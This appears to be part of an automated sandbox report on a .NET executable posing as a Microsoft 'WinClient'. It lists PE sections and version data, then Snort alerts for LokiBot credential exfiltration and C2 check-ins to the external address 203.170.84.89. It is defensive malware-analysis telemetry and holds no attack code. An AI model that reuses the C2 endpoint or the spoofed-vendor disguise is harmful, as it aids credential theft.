IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x60aec	0x60c00	False	0.710743196867	data	7.26782540442	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x64000	0x5e0	0x600	False	0.431640625	data	4.16085866295	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x66000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x64090	0x350	data
RT_MANIFEST	0x643f0	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright Microsoft 2014
Assembly Version	1.0.0.0
InternalName	CallConvCdecl.exe
FileVersion	1.0.0.0
CompanyName	Microsoft
LegalTrademarks
Comments
ProductName	WinClient
ProductVersion	1.0.0.0
FileDescription	WinClient
OriginalFilename	CallConvCdecl.exe

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
02/22/21-19:13:02.072161	TCP	2024312	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1	49745	80	192.168.2.4	203.170.84.89
02/22/21-19:13:02.072161	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49745	80	192.168.2.4	203.170.84.89
02/22/21-19:13:02.072161	TCP	2025381	ET TROJAN LokiBot Checkin	49745	80	192.168.2.4	203.170.84.89
02/22/21-19:13:03.456111	TCP	2024312	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1	49747	80	192.168.2.4	203.170.84.89
02/22/21-19:13:03.456111	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49747	80	192.168.2.4	203.170.84.89
02/22/21-19:13:03.456111	TCP	2025381	ET TROJAN LokiBot Checkin	49747	80	192.168.2.4	203.170.84.89
02/22/21-19:13:04.676480	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49749	80	192.168.2.4	203.170.84.89
02/22/21-19:13:04.676480	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49749	80	192.168.2.4	203.170.84.89
02/22/21-19:13:04.676480	TCP	2025381	ET TROJAN LokiBot Checkin	49749	80	192.168.2.4	203.170.84.89
02/22/21-19:13:06.053559	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49750	80	192.168.2.4	203.170.84.89
02/22/21-19:13:06.053559	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49750	80	192.168.2.4	203.170.84.89
02/22/21-19:13:06.053559	TCP	2025381	ET TROJAN LokiBot Checkin	49750	80	192.168.2.4	203.170.84.89
02/22/21-19:13:07.581441	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49751	80	192.168.2.4	203.170.84.89
02/22/21-19:13:07.581441	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49751	80	192.168.2.4	203.170.84.89
02/22/21-19:13:07.581441	TCP	2025381	ET TROJAN LokiBot Checkin	49751	80	192.168.2.4	203.170.84.89
02/22/21-19:13:09.379899	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49752	80	192.168.2.4	203.170.84.89
02/22/21-19:13:09.379899	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49752	80	192.168.2.4	203.170.84.89
02/22/21-19:13:09.379899	TCP	2025381	ET TROJAN LokiBot Checkin	49752	80	192.168.2.4	203.170.84.89
02/22/21-19:13:10.753898	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49753	80	192.168.2.4	203.170.84.89
02/22/21-19:13:10.753898	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49753	80	192.168.2.4	203.170.84.89
02/22/21-19:13:10.753898	TCP	2025381	ET TROJAN LokiBot Checkin	49753	80	192.168.2.4	203.170.84.89
02/22/21-19:13:12.128792	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49754	80	192.168.2.4	203.170.84.89
02/22/21-19:13:12.128792	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49754	80	192.168.2.4	203.170.84.89
02/22/21-19:13:12.128792	TCP	2025381	ET TROJAN LokiBot Checkin	49754	80	192.168.2.4	203.170.84.89
02/22/21-19:13:13.445902	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49755	80	192.168.2.4	203.170.84.89
02/22/21-19:13:13.445902	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49755	80	192.168.2.4	203.170.84.89
02/22/21-19:13:13.445902	TCP	2025381	ET TROJAN LokiBot Checkin	49755	80	192.168.2.4	203.170.84.89
02/22/21-19:13:14.755155	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49756	80	192.168.2.4	203.170.84.89
02/22/21-19:13:14.755155	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49756	80	192.168.2.4	203.170.84.89
02/22/21-19:13:14.755155	TCP	2025381	ET TROJAN LokiBot Checkin	49756	80	192.168.2.4	203.170.84.89
02/22/21-19:13:16.098574	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49757	80	192.168.2.4	203.170.84.89
02/22/21-19:13:16.098574	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49757	80	192.168.2.4	203.170.84.89
02/22/21-19:13:16.098574	TCP	2025381	ET TROJAN LokiBot Checkin	49757	80	192.168.2.4	203.170.84.89
02/22/21-19:13:17.407438	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49758	80	192.168.2.4	203.170.84.89
02/22/21-19:13:17.407438	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49758	80	192.168.2.4	203.170.84.89
02/22/21-19:13:17.407438	TCP	2025381	ET TROJAN LokiBot Checkin	49758	80	192.168.2.4	203.170.84.89
02/22/21-19:13:18.738997	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49759	80	192.168.2.4	203.170.84.89
02/22/21-19:13:18.738997	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49759	80	192.168.2.4	203.170.84.89
02/22/21-19:13:18.738997	TCP	2025381	ET TROJAN LokiBot Checkin	49759	80	192.168.2.4	203.170.84.89
02/22/21-19:13:20.041935	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49760	80	192.168.2.4	203.170.84.89
02/22/21-19:13:20.041935	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49760	80	192.168.2.4	203.170.84.89
02/22/21-19:13:20.041935	TCP	2025381	ET TROJAN LokiBot Checkin	49760	80	192.168.2.4	203.170.84.89
02/22/21-19:13:21.333542	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49763	80	192.168.2.4	203.170.84.89
02/22/21-19:13:21.333542	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49763	80	192.168.2.4	203.170.84.89
02/22/21-19:13:21.333542	TCP	2025381	ET TROJAN LokiBot Checkin	49763	80	192.168.2.4	203.170.84.89
02/22/21-19:13:22.669300	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49764	80	192.168.2.4	203.170.84.89
02/22/21-19:13:22.669300	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49764	80	192.168.2.4	203.170.84.89
02/22/21-19:13:22.669300	TCP	2025381	ET TROJAN LokiBot Checkin	49764	80	192.168.2.4	203.170.84.89
02/22/21-19:13:24.013553	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49765	80	192.168.2.4	203.170.84.89
02/22/21-19:13:24.013553	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49765	80	192.168.2.4	203.170.84.89
02/22/21-19:13:24.013553	TCP	2025381	ET TROJAN LokiBot Checkin	49765	80	192.168.2.4	203.170.84.89
02/22/21-19:13:25.353621	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49766	80	192.168.2.4	203.170.84.89
02/22/21-19:13:25.353621	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49766	80	192.168.2.4	203.170.84.89
02/22/21-19:13:25.353621	TCP	2025381	ET TROJAN LokiBot Checkin	49766	80	192.168.2.4	203.170.84.89
02/22/21-19:13:26.968743	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49767	80	192.168.2.4	203.170.84.89
02/22/21-19:13:26.968743	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49767	80	192.168.2.4	203.170.84.89
02/22/21-19:13:26.968743	TCP	2025381	ET TROJAN LokiBot Checkin	49767	80	192.168.2.4	203.170.84.89
02/22/21-19:13:28.278128	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49768	80	192.168.2.4	203.170.84.89
02/22/21-19:13:28.278128	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49768	80	192.168.2.4	203.170.84.89
02/22/21-19:13:28.278128	TCP	2025381	ET TROJAN LokiBot Checkin	49768	80	192.168.2.4	203.170.84.89
02/22/21-19:13:29.579659	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49769	80	192.168.2.4	203.170.84.89
02/22/21-19:13:29.579659	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49769	80	192.168.2.4	203.170.84.89
02/22/21-19:13:29.579659	TCP	2025381	ET TROJAN LokiBot Checkin	49769	80	192.168.2.4	203.170.84.89
02/22/21-19:13:30.894738	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49770	80	192.168.2.4	203.170.84.89
02/22/21-19:13:30.894738	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49770	80	192.168.2.4	203.170.84.89
02/22/21-19:13:30.894738	TCP	2025381	ET TROJAN LokiBot Checkin	49770	80	192.168.2.4	203.170.84.89
02/22/21-19:13:32.184419	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49771	80	192.168.2.4	203.170.84.89
02/22/21-19:13:32.184419	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49771	80	192.168.2.4	203.170.84.89
02/22/21-19:13:32.184419	TCP	2025381	ET TROJAN LokiBot Checkin	49771	80	192.168.2.4	203.170.84.89
02/22/21-19:13:33.518152	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49772	80	192.168.2.4	203.170.84.89
02/22/21-19:13:33.518152	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49772	80	192.168.2.4	203.170.84.89
02/22/21-19:13:33.518152	TCP	2025381	ET TROJAN LokiBot Checkin	49772	80	192.168.2.4	203.170.84.89
02/22/21-19:13:34.813981	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49773	80	192.168.2.4	203.170.84.89
02/22/21-19:13:34.813981	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49773	80	192.168.2.4	203.170.84.89
02/22/21-19:13:34.813981	TCP	2025381	ET TROJAN LokiBot Checkin	49773	80	192.168.2.4	203.170.84.89
02/22/21-19:13:36.095387	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49774	80	192.168.2.4	203.170.84.89
02/22/21-19:13:36.095387	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49774	80	192.168.2.4	203.170.84.89
02/22/21-19:13:36.095387	TCP	2025381	ET TROJAN LokiBot Checkin	49774	80	192.168.2.4	203.170.84.89
02/22/21-19:13:37.374892	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49777	80	192.168.2.4	203.170.84.89
02/22/21-19:13:37.374892	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49777	80	192.168.2.4	203.170.84.89
02/22/21-19:13:37.374892	TCP	2025381	ET TROJAN LokiBot Checkin	49777	80	192.168.2.4	203.170.84.89
02/22/21-19:13:38.688701	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49781	80	192.168.2.4	203.170.84.89
02/22/21-19:13:38.688701	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49781	80	192.168.2.4	203.170.84.89
02/22/21-19:13:38.688701	TCP	2025381	ET TROJAN LokiBot Checkin	49781	80	192.168.2.4	203.170.84.89
02/22/21-19:13:39.984082	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49784	80	192.168.2.4	203.170.84.89
02/22/21-19:13:39.984082	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49784	80	192.168.2.4	203.170.84.89
02/22/21-19:13:39.984082	TCP	2025381	ET TROJAN LokiBot Checkin	49784	80	192.168.2.4	203.170.84.89
02/22/21-19:13:41.300879	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49788	80	192.168.2.4	203.170.84.89
02/22/21-19:13:41.300879	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49788	80	192.168.2.4	203.170.84.89
02/22/21-19:13:41.300879	TCP	2025381	ET TROJAN LokiBot Checkin	49788	80	192.168.2.4	203.170.84.89
02/22/21-19:13:42.586767	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49790	80	192.168.2.4	203.170.84.89
02/22/21-19:13:42.586767	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49790	80	192.168.2.4	203.170.84.89
02/22/21-19:13:42.586767	TCP	2025381	ET TROJAN LokiBot Checkin	49790	80	192.168.2.4	203.170.84.89
02/22/21-19:13:43.872010	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49792	80	192.168.2.4	203.170.84.89
02/22/21-19:13:43.872010	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49792	80	192.168.2.4	203.170.84.89
02/22/21-19:13:43.872010	TCP	2025381	ET TROJAN LokiBot Checkin	49792	80	192.168.2.4	203.170.84.89
02/22/21-19:13:45.134992	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49793	80	192.168.2.4	203.170.84.89
02/22/21-19:13:45.134992	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49793	80	192.168.2.4	203.170.84.89
02/22/21-19:13:45.134992	TCP	2025381	ET TROJAN LokiBot Checkin	49793	80	192.168.2.4	203.170.84.89
02/22/21-19:13:46.448703	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49794	80	192.168.2.4	203.170.84.89
02/22/21-19:13:46.448703	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49794	80	192.168.2.4	203.170.84.89
02/22/21-19:13:46.448703	TCP	2025381	ET TROJAN LokiBot Checkin	49794	80	192.168.2.4	203.170.84.89
02/22/21-19:13:47.761299	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49795	80	192.168.2.4	203.170.84.89
02/22/21-19:13:47.761299	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49795	80	192.168.2.4	203.170.84.89
02/22/21-19:13:47.761299	TCP	2025381	ET TROJAN LokiBot Checkin	49795	80	192.168.2.4	203.170.84.89
02/22/21-19:13:49.047258	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49796	80	192.168.2.4	203.170.84.89
02/22/21-19:13:49.047258	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49796	80	192.168.2.4	203.170.84.89
02/22/21-19:13:49.047258	TCP	2025381	ET TROJAN LokiBot Checkin	49796	80	192.168.2.4	203.170.84.89
02/22/21-19:13:50.324886	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49797	80	192.168.2.4	203.170.84.89
02/22/21-19:13:50.324886	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49797	80	192.168.2.4	203.170.84.89
02/22/21-19:13:50.324886	TCP	2025381	ET TROJAN LokiBot Checkin	49797	80	192.168.2.4	203.170.84.89
02/22/21-19:13:51.622676	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49798	80	192.168.2.4	203.170.84.89
02/22/21-19:13:51.622676	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49798	80	192.168.2.4	203.170.84.89
02/22/21-19:13:51.622676	TCP	2025381	ET TROJAN LokiBot Checkin	49798	80	192.168.2.4	203.170.84.89
02/22/21-19:13:52.940189	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49799	80	192.168.2.4	203.170.84.89
02/22/21-19:13:52.940189	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49799	80	192.168.2.4	203.170.84.89
02/22/21-19:13:52.940189	TCP	2025381	ET TROJAN LokiBot Checkin	49799	80	192.168.2.4	203.170.84.89
02/22/21-19:13:54.217316	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49800	80	192.168.2.4	203.170.84.89
02/22/21-19:13:54.217316	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49800	80	192.168.2.4	203.170.84.89
02/22/21-19:13:54.217316	TCP	2025381	ET TROJAN LokiBot Checkin	49800	80	192.168.2.4	203.170.84.89
02/22/21-19:13:55.493778	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49804	80	192.168.2.4	203.170.84.89
02/22/21-19:13:55.493778	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49804	80	192.168.2.4	203.170.84.89
02/22/21-19:13:55.493778	TCP	2025381	ET TROJAN LokiBot Checkin	49804	80	192.168.2.4	203.170.84.89
02/22/21-19:13:56.763032	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49805	80	192.168.2.4	203.170.84.89
02/22/21-19:13:56.763032	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49805	80	192.168.2.4	203.170.84.89
02/22/21-19:13:56.763032	TCP	2025381	ET TROJAN LokiBot Checkin	49805	80	192.168.2.4	203.170.84.89
02/22/21-19:13:58.050742	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49811	80	192.168.2.4	203.170.84.89
02/22/21-19:13:58.050742	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49811	80	192.168.2.4	203.170.84.89
02/22/21-19:13:58.050742	TCP	2025381	ET TROJAN LokiBot Checkin	49811	80	192.168.2.4	203.170.84.89
02/22/21-19:13:59.321820	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49812	80	192.168.2.4	203.170.84.89
02/22/21-19:13:59.321820	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49812	80	192.168.2.4	203.170.84.89
02/22/21-19:13:59.321820	TCP	2025381	ET TROJAN LokiBot Checkin	49812	80	192.168.2.4	203.170.84.89
02/22/21-19:14:00.631942	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49813	80	192.168.2.4	203.170.84.89
02/22/21-19:14:00.631942	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49813	80	192.168.2.4	203.170.84.89
02/22/21-19:14:00.631942	TCP	2025381	ET TROJAN LokiBot Checkin	49813	80	192.168.2.4	203.170.84.89
02/22/21-19:14:01.922836	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49814	80	192.168.2.4	203.170.84.89
02/22/21-19:14:01.922836	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49814	80	192.168.2.4	203.170.84.89
02/22/21-19:14:01.922836	TCP	2025381	ET TROJAN LokiBot Checkin	49814	80	192.168.2.4	203.170.84.89
02/22/21-19:14:03.230296	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49815	80	192.168.2.4	203.170.84.89
02/22/21-19:14:03.230296	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49815	80	192.168.2.4	203.170.84.89
02/22/21-19:14:03.230296	TCP	2025381	ET TROJAN LokiBot Checkin	49815	80	192.168.2.4	203.170.84.89
02/22/21-19:14:04.508068	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49816	80	192.168.2.4	203.170.84.89
02/22/21-19:14:04.508068	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49816	80	192.168.2.4	203.170.84.89
02/22/21-19:14:04.508068	TCP	2025381	ET TROJAN LokiBot Checkin	49816	80	192.168.2.4	203.170.84.89
02/22/21-19:14:05.814223	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49817	80	192.168.2.4	203.170.84.89
02/22/21-19:14:05.814223	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49817	80	192.168.2.4	203.170.84.89
02/22/21-19:14:05.814223	TCP	2025381	ET TROJAN LokiBot Checkin	49817	80	192.168.2.4	203.170.84.89
02/22/21-19:14:07.112781	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49818	80	192.168.2.4	203.170.84.89
02/22/21-19:14:07.112781	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49818	80	192.168.2.4	203.170.84.89
02/22/21-19:14:07.112781	TCP	2025381	ET TROJAN LokiBot Checkin	49818	80	192.168.2.4	203.170.84.89
02/22/21-19:14:08.413653	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49819	80	192.168.2.4	203.170.84.89
02/22/21-19:14:08.413653	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49819	80	192.168.2.4	203.170.84.89
02/22/21-19:14:08.413653	TCP	2025381	ET TROJAN LokiBot Checkin	49819	80	192.168.2.4	203.170.84.89
02/22/21-19:14:09.712194	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49820	80	192.168.2.4	203.170.84.89
02/22/21-19:14:09.712194	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49820	80	192.168.2.4	203.170.84.89
02/22/21-19:14:09.712194	TCP	2025381	ET TROJAN LokiBot Checkin	49820	80	192.168.2.4	203.170.84.89
02/22/21-19:14:11.002003	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49821	80	192.168.2.4	203.170.84.89
02/22/21-19:14:11.002003	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49821	80	192.168.2.4	203.170.84.89
02/22/21-19:14:11.002003	TCP	2025381	ET TROJAN LokiBot Checkin	49821	80	192.168.2.4	203.170.84.89
02/22/21-19:14:12.313270	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49822	80	192.168.2.4	203.170.84.89
02/22/21-19:14:12.313270	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49822	80	192.168.2.4	203.170.84.89
02/22/21-19:14:12.313270	TCP	2025381	ET TROJAN LokiBot Checkin	49822	80	192.168.2.4	203.170.84.89
02/22/21-19:14:13.908883	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49823	80	192.168.2.4	203.170.84.89
02/22/21-19:14:13.908883	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49823	80	192.168.2.4	203.170.84.89
02/22/21-19:14:13.908883	TCP	2025381	ET TROJAN LokiBot Checkin	49823	80	192.168.2.4	203.170.84.89
02/22/21-19:14:15.437535	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49824	80	192.168.2.4	203.170.84.89
02/22/21-19:14:15.437535	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49824	80	192.168.2.4	203.170.84.89
02/22/21-19:14:15.437535	TCP	2025381	ET TROJAN LokiBot Checkin	49824	80	192.168.2.4	203.170.84.89
02/22/21-19:14:16.710648	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49825	80	192.168.2.4	203.170.84.89
02/22/21-19:14:16.710648	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49825	80	192.168.2.4	203.170.84.89
02/22/21-19:14:16.710648	TCP	2025381	ET TROJAN LokiBot Checkin	49825	80	192.168.2.4	203.170.84.89
02/22/21-19:14:18.024684	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49826	80	192.168.2.4	203.170.84.89
02/22/21-19:14:18.024684	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49826	80	192.168.2.4	203.170.84.89
02/22/21-19:14:18.024684	TCP	2025381	ET TROJAN LokiBot Checkin	49826	80	192.168.2.4	203.170.84.89
02/22/21-19:14:19.321868	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49827	80	192.168.2.4	203.170.84.89
02/22/21-19:14:19.321868	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49827	80	192.168.2.4	203.170.84.89
02/22/21-19:14:19.321868	TCP	2025381	ET TROJAN LokiBot Checkin	49827	80	192.168.2.4	203.170.84.89
02/22/21-19:14:20.599287	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49828	80	192.168.2.4	203.170.84.89
02/22/21-19:14:20.599287	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49828	80	192.168.2.4	203.170.84.89
02/22/21-19:14:20.599287	TCP	2025381	ET TROJAN LokiBot Checkin	49828	80	192.168.2.4	203.170.84.89
02/22/21-19:14:21.882521	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49829	80	192.168.2.4	203.170.84.89
02/22/21-19:14:21.882521	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49829	80	192.168.2.4	203.170.84.89
02/22/21-19:14:21.882521	TCP	2025381	ET TROJAN LokiBot Checkin	49829	80	192.168.2.4	203.170.84.89
02/22/21-19:14:23.176365	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49830	80	192.168.2.4	203.170.84.89
02/22/21-19:14:23.176365	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49830	80	192.168.2.4	203.170.84.89
02/22/21-19:14:23.176365	TCP	2025381	ET TROJAN LokiBot Checkin	49830	80	192.168.2.4	203.170.84.89
02/22/21-19:14:24.482440	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49831	80	192.168.2.4	203.170.84.89
02/22/21-19:14:24.482440	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49831	80	192.168.2.4	203.170.84.89
02/22/21-19:14:24.482440	TCP	2025381	ET TROJAN LokiBot Checkin	49831	80	192.168.2.4	203.170.84.89
02/22/21-19:14:25.733888	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49832	80	192.168.2.4	203.170.84.89
02/22/21-19:14:25.733888	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49832	80	192.168.2.4	203.170.84.89
02/22/21-19:14:25.733888	TCP	2025381	ET TROJAN LokiBot Checkin	49832	80	192.168.2.4	203.170.84.89
02/22/21-19:14:27.016301	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49833	80	192.168.2.4	203.170.84.89
02/22/21-19:14:27.016301	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49833	80	192.168.2.4	203.170.84.89
02/22/21-19:14:27.016301	TCP	2025381	ET TROJAN LokiBot Checkin	49833	80	192.168.2.4	203.170.84.89
02/22/21-19:14:28.298521	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49834	80	192.168.2.4	203.170.84.89
02/22/21-19:14:28.298521	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49834	80	192.168.2.4	203.170.84.89
02/22/21-19:14:28.298521	TCP	2025381	ET TROJAN LokiBot Checkin	49834	80	192.168.2.4	203.170.84.89
02/22/21-19:14:29.542203	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49835	80	192.168.2.4	203.170.84.89
02/22/21-19:14:29.542203	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49835	80	192.168.2.4	203.170.84.89
02/22/21-19:14:29.542203	TCP	2025381	ET TROJAN LokiBot Checkin	49835	80	192.168.2.4	203.170.84.89
02/22/21-19:14:30.810538	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49837	80	192.168.2.4	203.170.84.89
02/22/21-19:14:30.810538	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49837	80	192.168.2.4	203.170.84.89
02/22/21-19:14:30.810538	TCP	2025381	ET TROJAN LokiBot Checkin	49837	80	192.168.2.4	203.170.84.89
02/22/21-19:14:32.137483	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49839	80	192.168.2.4	203.170.84.89
02/22/21-19:14:32.137483	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49839	80	192.168.2.4	203.170.84.89
02/22/21-19:14:32.137483	TCP	2025381	ET TROJAN LokiBot Checkin	49839	80	192.168.2.4	203.170.84.89
